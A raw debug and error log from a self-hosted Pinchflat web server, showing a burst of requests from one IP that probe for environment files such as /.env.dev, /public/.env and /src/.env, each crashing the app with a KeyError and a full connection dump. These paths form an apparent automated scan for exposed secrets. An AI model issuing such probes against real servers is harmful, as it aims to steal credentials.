s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:37.152 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:37.152 [error] #PID<0.9944.0> running PinchflatWeb.Endpoint (connection #PID<0.9943.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /.env.dev ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9943.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9944.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-GB,en;q=0.5"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Linux\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "cross-site"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/.env.dev", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHIiX51o0uFQAA5HB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9943.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9943.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.dev", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 59846}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, (truncated) 15:23:47.482 [info] GET /public/.env 15:23:47.482 [info] GET /web/.env 15:23:47.482 [info] GET /server/.env 15:23:47.482 [info] GET /src/.env 15:23:47.482 [debug] QUERY OK source="settings" db=0.4ms idle=543.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.482 [debug] QUERY OK source="settings" db=0.4ms idle=854.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.482 [debug] QUERY OK source="settings" db=0.3ms idle=543.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.482 [debug] QUERY OK source="settings" db=0.5ms idle=543.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.482 [debug] QUERY OK source="settings" db=0.1ms idle=0.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.483 [info] GET /core/.env 15:23:47.483 [info] GET /services/.env 15:23:47.483 [debug] QUERY OK source="settings" db=0.3ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [debug] QUERY OK source="settings" db=0.2ms idle=0.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.483 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.483 [debug] QUERY OK source="settings" db=0.5ms idle=543.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.483 [debug] QUERY OK source="settings" db=0.2ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [error] #PID<0.9948.0> running PinchflatWeb.Endpoint (connection #PID<0.9945.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /public/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45200}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9948.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, {"user-agent", "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/public/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBO-AswKRoAAI7D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45200}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /public/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9945.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/public/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45200}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "host" => "roku.hartupee.com", "user-agent" => "Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.0 Mobile/15E148 Safari/604.1", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9948.0>, params: %{}, path_info: ["public", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"host", "roku.hartupee.com"}, (truncated) 15:23:47.483 [debug] QUERY OK source="settings" db=0.6ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [info] GET /.env.production.local 15:23:47.484 [info] GET /.env.stage 15:23:47.484 [debug] QUERY OK source="settings" db=0.3ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.484 [debug] QUERY OK source="settings" db=0.3ms queue=0.2ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [debug] QUERY OK source="settings" db=0.2ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.484 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [debug] QUERY OK source="settings" db=0.1ms idle=0.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.484 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.484 [debug] QUERY OK source="settings" db=0.2ms idle=0.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:23:47.483 [error] #PID<0.9952.0> running PinchflatWeb.Endpoint (connection #PID<0.9951.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /src/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9951.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "roku.hartupee.com", method: "GET", owner: #PID<0.9952.0>, params: %{}, path_info: ["src", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://roku.hartupee.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 203}, req_cookies: %{}, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8"}, {"accept-encoding", "gzip, deflate, br, zstd"}, {"accept-language", "de-DE,de;q=0.9,en-US;q=0.8"}, {"host", "roku.hartupee.com"}, {"sec-ch-ua", "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\""}, {"sec-ch-ua-mobile", "?0"}, {"sec-ch-ua-platform", "\"Windows\""}, {"sec-fetch-dest", "document"}, {"sec-fetch-mode", "navigate"}, {"sec-fetch-site", "none"}, {"sec-fetch-user", "?1"}, {"upgrade-insecure-requests", "1"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36"}, {"x-forwarded-for", "45.88.138.44"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "45.88.138.44"} ], request_path: "/src/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMVDHvBUAwfvoN8AAI8D"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9951.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "45.88.138.44" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 1, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /src/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9951.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/src/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45226}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br, zstd", "accept-language" => "de-DE,de;q=0.9,en-US;q=0.8", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"133\", \"Not_A Brand\";v=\"24\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Windows\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "none", "sec-fetch-user" => "?1", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44" (truncated) 15:23:47.485 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 15:23:47.483 [error] #PID<0.9950.0> running PinchflatWeb.Endpoint (connection #PID<0.9946.0>, stream id 1) terminated Server: roku.hartupee.com:80 (http) Request: GET /web/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /web/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.9946.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/web/.env", host: "roku.hartupee.com", peer: {{192, 168, 1, 203}, 45210}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-GB,en;q=0.5", "host" => "roku.hartupee.com", "sec-ch-ua" => "\"Chromium\";v=\"124\", \"Not_A Brand\";v=\"8\"", "sec-ch-ua-mobile" => "?0", "sec-ch-ua-platform" => "\"Linux\"", "sec-fetch-dest" => "document", "sec-fetch-mode" => "navigate", "sec-fetch-site" => "cross-site", "upgrade-insecure-requests" => "1", "user-agent" => "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36", "x-forwarded-for" => "45.88.138.44", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", 